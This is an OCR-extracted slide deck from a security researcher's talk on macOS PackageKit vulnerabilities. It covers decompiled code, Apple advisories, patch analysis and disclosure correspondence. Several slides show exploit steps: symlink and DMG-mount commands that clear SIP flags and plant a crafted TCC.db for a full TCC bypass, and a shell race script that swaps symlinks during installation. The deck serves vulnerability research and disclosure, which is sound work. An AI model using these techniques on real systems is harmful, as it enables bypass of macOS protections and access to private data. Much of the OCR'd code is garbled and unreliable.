(co r =)objc_msgSend(v7, "UTF85tring");

objc_msgSend;
( r *)objc_msgSend(v9, "UTF8String");
syslog DARWIN_EXTSN(118, "PackageKit: Shoving %s (%d items) to °
if (! )
return 1;
-~ [PKShoveInstallOperation _moveActiveDYLDCacheIfNeeded] ( " moveAZ\tiveDYLDCacheIfNeeded");
= [Ph\hOvLIH\tJl]O eration request]( , ''request");
if ( (unsigned _ 3)objc_msgSend(vi6, "_isOSInstall")
|| = ~[PKShov eInstall lOperation request] ( , "'request"),
(unsigned __int8)objc_msgSend( , " _isSoftwareUpdate0SInstall")) )

objc_msgSend (&0BJC_CLASS___ NSFileManager, "defaultManager");
[PKShoveInstallOperation sandbox]( , "'sandbox");

- [PKInstallSandbox payloadDirectory]( ) ;

objc_msgSend( , attributesOfItemAtPath:error:", , OLL);

OLL;

‘_ob C mSoSend(&OBJC CLASS __NSArray, "arrayWithObjects: &stru 7FF95689A988 &cfstr S 0
{unsigned L JPRSIPCUTrentProcesscanModiryoysteminteqrityProtectionrilest) oo

= objc_msgSend(&off_7FF956BB4988, "arrayByAddingObjectsFromArray:", );
= (cc ar *)objc_msgSend(v22, "UTF8String");
syslog DARWIN _EXTSN(118, "PackageKit: Dropping SIP for shove, source is not trusted. %s", );

00070838 -[PKShovéInstaliOperatioh_shoVeExtractédRootOntoDesfihationReturningEkrof:]:25»(7FF916E2F838) |
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CVE-2023-35864

Mitigation in macOS 13.5

= Apple took my suggestion (P79 of the slides at POC2022)

Before the patch: ‘ + Install to other volumes (Not “/”) ->

g

After the patch: ‘ + Install to other volumes (Not /") -> installd
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https://github.com/jhftss/jhftss.github.io/blob/main/res/slides/POC2022%20-%20Package%20Disaster%20-%20Mickey%20Jin.pdf

PackageKit
Available for: macOS Sonoma

Impact: An app may be able to access user-sensitive data

Description: A logic issue was addressed with improved checks.

CVE-2023-42853: Mickey Jin (@patch1t)

Entry added February 16, 2024

42



CVE-2023-42853

Review the Shove logic Again

285 if ( PKSIPCurrentProcessCanModifySystemIntegrityProtectionFiles() )

286 {

287 ig_dest (unsigned 1nt)ob]c msgSend(,_ww, "fileDescriptor");

288 1f ( 'PKSIPFullyProtected( rig dest fd) )

289 {

290 resolved_dest (un51gned 1nt)ob]c msgSend( 6, "fileDescriptor");
291 if ( PKSIPFullyProtected( ved_dest_fd) )

292 {

293 v83
294 2373
295 v85 = objc_msgSeny (

296 &0BJC_CLASS___ NSString,

297 "stringWitRNFormat:",

298 CFSTR(" [resylved_dest=trusted, orig_dest=not trusted] not resolving symlink. orig_dest=%@ resolved_dest=%@"),
299 v237,

300 v83):

301 v86 = objc_retainAutofeleasedReturnValue(v85);

302 —[PKCoreShove logWithlfvel:withMessage: ](“_)

303 LABEL_46:

304 w&& u&@;

305 /34 v245;

306 goto LABEL 47,

307 by

308 by

0002DDC5 -fPKCoreéﬁove_shoVébneLéQa :dest:]:291 (7FF916DECDC5)

vvAl e
vV O
vULl,

__int64 _ fastcall PKSIPFullyProtected(_ _int64 al)

trusted==SF_RESTRICTED, what about the resolved_dest has the flag SF_NOUNLINK?

if ( (unsigned int)rootless_check_trusted_fd(al) )
LOBYTE(IUSIIl) — 0,
else

LOBYTE(result) (unsigned int)rootless_protected_volume_fd((unsigned int)al) ==
return (unsigned __ int8)result;

}




CVE-2023-42853

Clear the SF_NOUNLINK Flag

sh-3.2# 1ln -s /Library/Application\ Support/ /Library/Application\ Support/ResearchSoft
sh-3.2# open /var/log/install.log
sh-3.2# 1ls -1la0 /Library/Application\ Support/
total @ ety
drwxr-xr-x 16 root adming :
drwxr-xr-x 65 root wheel ™“S0WsS
drwxr-xr-x 10 root wheel

------ root admin
drwxr-xr-x 12 root wheel
drwxrwxr-x root admin
drwxr—-xr-x root wheel
drwxrwxr-t root admin
lrwxr—-xr-x root admin
drwxr—-xr-x root wheel
drwxr—-xr-x root wheel
drwxr—-xr—-x@ root wheel
drwxr—-xr—x root admin
drwxrwxr—x _backgroundassets wheel
drwxr—-xr-x root admin
drwxr—x . S root _whqel

Apple

ApplePushService

BTServer

CrashReporter

Mozilla

ProApps

ResearchSoft -> /Library/Application Support/
Script Editor

VMware Tools

com.apple.TCC
com.apple.TVIdleScreen
com.apple.backgroundassets.user
com.apple.idleassetsd
ilifeMediaBrowser

o

b~

W NN WSOV WENW

'Sh-3.2# installer -pkg /tmp/PagestndNote.pkgf—t

installer: Package name is Pages EndNote
 installer: Installing at base path /
installer: The install was successful.

<

— .t =1a0 Drar AP D 3 5
total @ ;
drwxr-xr-x 17 root adming
drwxr-xr-x 65 root wheel “SOUNTAR Aug
drwxr-xr-x 10 root wheel Aug

------ root admin May 2
drwxr—-xr—x root wheel Aug
drwxrwxr—x root admin Aug
drwxr—-xr—x root wheel Aug
drwxr—-xr—x root wheel Aug
drwxrwxr-t root admin Aug
lrwxr—-xr-x root admin Aug
drwxr—-xr—x root wheel Aug
drwxr—-xr—x root wheel 6088 Aug
drwxr—-xr—-x@ root wheel restricted 128 Aug
drwxr—-xr—x root admin - 96 Aug
drwxXrwxr—x _backgroundassets wheel - 64 Aug 14:21 com.apple.backgroundassets.user
drwxr—-xr—x root admin - 224 Jun 09:17 com.apple.idleassetsd
drwxr—-xr—x 3 root wheel - 96 Aug b5 14:21 ilLifeMediaBrowser
sh-3.2# hdiutil create -size 16m -volname .exploit -ov /tmp/disk.dmg

10:26 ..

10:27 Apple

2022 ApplePushService

14:21 BTServer

10:26 CrashReporter

2021 EndNote

14:21 Mozilla

14:21 ProApps

11:21 ResearchSoft -> /Library/Application Support/
14:21 Script Editor

2021 VMware Tools

10:28 com.apple.TCC

10:29 com.apple.TVIdleScreen

o

b

NN WSsEODWRENOW
OOV OPFOWONMONONOYO®OOW

ed:. /UMD /01 S K., 000

"Sh-3.2# haiutil attach /tmp/dick.dmg —mountpoint /Library/Appiication\ Supporc/ B

/dev/disk?2 GUID partition_scheme |
/dev/dis Apple_APFS | - - NOW Mountable.

iy = T e R Y e T e Y =t




CVE-2023-42853

The exploit is a full TCC Bypass

« Abuse the SIP-bypass primitive to clear the file flag (SF_NOUNLINK) of an
arbitrary path, e.g., “/Library/Application Support”.

« Create a DMG file and mount to the path “/Library/Application Support”.

- Put a crafted TCC.db in the path “/Library/Application Support/
com.apple.TCC” to bypass the TCC completely!
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@ Terminal Shell Edit View Window Help (m ) BN Q & WedAug23 12:31

. @ fuzz — bash — 119x50 Click © to stop screen recording ' e |

sh-3.2# sw _!_ ', ( . '

-rr int . A

WARNIP
AY 7:36



https://youtu.be/PT0iuaGJ9LY

CVE-2023-42853

Patch in macOS 141

O0L _ fastcall PKSIPFullyProtected(int fd)

= 0

// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

v3 = x(_QWORD x)__stack_chk_guard;
if ( rootless_protected_volume_fd(fd) !'= 1 )
return 0;
if ( !'rootless check trusted fd(fd) )
return 1;
memset (&v2, 0, sizeof(v2));
if ( fstat INODE64(fd, &v2) )
return 0;
result = 1;
if ( (v2.st_flags & (SF_RESTRICTED|UF_DATAVAULT)) ==0 .
&& ((v2.st_mode & 0xFQ@O@) !'= S_IFDIR || §(v2. |
{ s
return 0;

}

return result;

OO00OJNOOULT S WN -
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Bypa
/’/

PackageKit

Avallable for: macOS Sonoma
Impact: An app may be able to access protected user data

Description: A race condition was addressed with additional validation.

CVE-2024-23275: Mickey Jin (@patch1t)
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286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308

CVE-2024-23275

The issue

Not
O NOFOLLOW _ANY

orig _dst_fd = open(orig_dst, Ox220004)-//0 SYMLINK
freadlink(orig_dst_fd, resolved_dst, “ e
resolved_dst_fd = open(resolved_dst, | ,0104 /e )LLOW;

if ( PKSIPCurrentPrdgessCanModifySystemIntegrityProtectionFiles() )

t
g_dest_fd = (unsigN\gd int)objc_msgSend(v234, "fileDescriptor");
1f ( 'PKSIPFullyProtec ad(orig _dest _fd) )
{
resolved_dest_fd = (unsi d 1nt)ob]c msgSend( 5, "fileDescriptor");
if ( PKSIPFullyProtected( ved dest
{

objc_msgSend(
&0BJC_CLASS____NSString,
"stringWithFormat:",
CFSTR(" [resolved_dest=trusted, orig_dest=not trusted] not resolving symlink. orig_dest=%@ resolved_dest=%@"),
v83);
v86 = objc_retainAutoreleasedReturnValue(v85);
—[PKCoreShove logWithLevel:withMessage: ](._)
LABEL_46:

goto LABEL 47,

}
’

0002DDC5 —fPKCoreéﬁove_shoVébneLéQel:dest:]:291 (7FF916DECDC5)
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CVE-2024-23275

Race to Exploit Again!

#!/bin/sh

# Usage: exploit.sh /path/to/target (clear the SF_RESTRICTED | SF_NOUNLINK of the target path)
TARGET_DIR= dirname $1°

TARGET _NAME= basename $1°

echo 'target dirname:" $TARGET_DIR ', target basename:' $TARGET_NAME

mkdir /tmp/$TARGET_NAME

n =f =h =s /tmp /tmp/lnk

n =f -h =s /tmp/nk/$TARGET_NAME /Library/Application\ Support/ResearchSoft

echo 'waiting for the installation...'

# waiting for the shove process opening the untrusted /tmp/$TARGET_NAME
while true ; do

if lsof —-c shove | grep /tmp/$TARGET_NAME
then

break
fi : :
done « Run the script to clear the system file flags:

o renlacing th e «“[Library/Apple” (SF_RESTRICTED)
echo 'replacin e symlink... "l s . . "
n —f —hp—s $T2RGET_D}I/R /tmp/ nk « “[Library/Application Support” (SF_NOUNLINK)

echo 'all done.' e Install the Apple-sighed PageEndNotes.pkg
50




CVE-2024-23275

Patch in macOS 14.4

void -[PKCoreShove shoveOneLevel:dest:] (id self, id src, id dst) {

orig_dest fd = open(orig_dest, 0x220004);
freadlink(orig_dest_fd, resolved _dst, 1024LL);
open_flags = 0x20104;
1f (PKSIPCurrentProcessCanModifySystemIntegrityProtectionFiles() ) {
if ( !PKSIPTrustedPath(orig_dest, 5) || !'PKSIPFullyProtected(orig_dest_fd)) ) {
v73 = objc_msgSend(&0BJC_ CLASS ___NS5tring, "stringWithFormat:" o | o |
D RUT [sym({ink=not trusted] The reso veo'oest WwWiLLl be opened without followlng symlinks. |
symlink=%@ resolved dest=@"), orig_dest, v71);
open_flags = 0x20020004; // O _NOFOLLOW_ANY, no symlinks allowed in the path

}

resolved_dst_fd = open(resolved _dst, open_flags);
1f (PKSIPCurrentProcessCanModifySystemIntegrityProtectionFiles())
{

if ( !'PKSIPFullyProtected(orig _dest_fd) )

{
if ( PKSIPFullyProtected(resolved dst _fd) == 1 )

{
¥

//" [resolved _dest=trusted, orig_dest=not trusted] not resolving symlink. orig_dest=%@ resolved_dest=%@"




PackageKit

Available for: macOS Sonoma

Impact: An app may be able to modify protected parts of the file system . 4 an

Time is limited = 2% =~
Blog post soon '} ¢} ¢}

Description: This issue was addressed with improved validation of symlinks.

CVE-2024-27885: Mickey Jin (@patchit)

Entry added June 10, 2024 Stay tu ned ! !! @@@

PackageKit

Avallable for: Mac Studio (2022 and later), iIMac (2019 and later), Mac Pro (2019 and later), Mac Mini (2018
and later), MacBook Air (2020 and later), MacBook Pro (2018 and later), and iMac Pro (2017 and later)

Impact: An app may be able to modify protected parts of the file system

Description: This issue was addressed with improved validation of symlinks.

CVE-2024-44178: Mickey Jin (@patch1t)
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| was going to drop an O-day here

Mickey Jin

‘4 ] ‘: ) 1 o M l‘"f“

reaigia’ (j 'l ‘i' .1 /] 4

Hello, | will talk about this issue at OBTS v7.0:
https://objectivebythesea.org/v//index.htmi

Can you explain why there is no CVE assigned to this report?

Product Security

WD 9/19/24, 1:18 AM

This report did not meet the criteria for a CVE due to the significant amount of user interaction required

But | can still reproduce it on the latest macOS without changing my code, it’s still an O-day
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£ 5 Apple Product Security November 23, 2024 at 03:03
@ Re: Greetings from Apple Product Security -

OEOJERNS - please include this ID in replies to this thread.
Hi Mickey,

Please treat the following as confidential.

Thanks again for providing us with an advance copy of your Objective By the Sea presentation.

After taking a look through your deck, we noticed that OE- was incorrectly marked as a duplicate. After some

These changes are planned to be in a beta that you should be able to test in the second half of December. We understand this will not
be before your presentation at Objective By the Sea and ask that you please continue to refrain from disclosure of the issue publicly
before we release the security advisory for the report.

Apple Product Security
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Quick Summary

- Attack surfaces in the PackageKit framework
« An unforgettable bug hunting journey (patches and bypasses :)

- Exploitations are also public:
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https://github.com/jhftss/POC

Take Away

My thoughts

- The quality of Apple's code is not as good as imagined.

- The ridiculous coding issue proves that less testing and code review prior to
release.

» Apple often patches security issues silently (without asking the reporter for a
review)

. Okay, bypass their patches again and again ®@®®
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Thanks

Mickey Jin (@patchit)
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https://twitter.com/patch1t

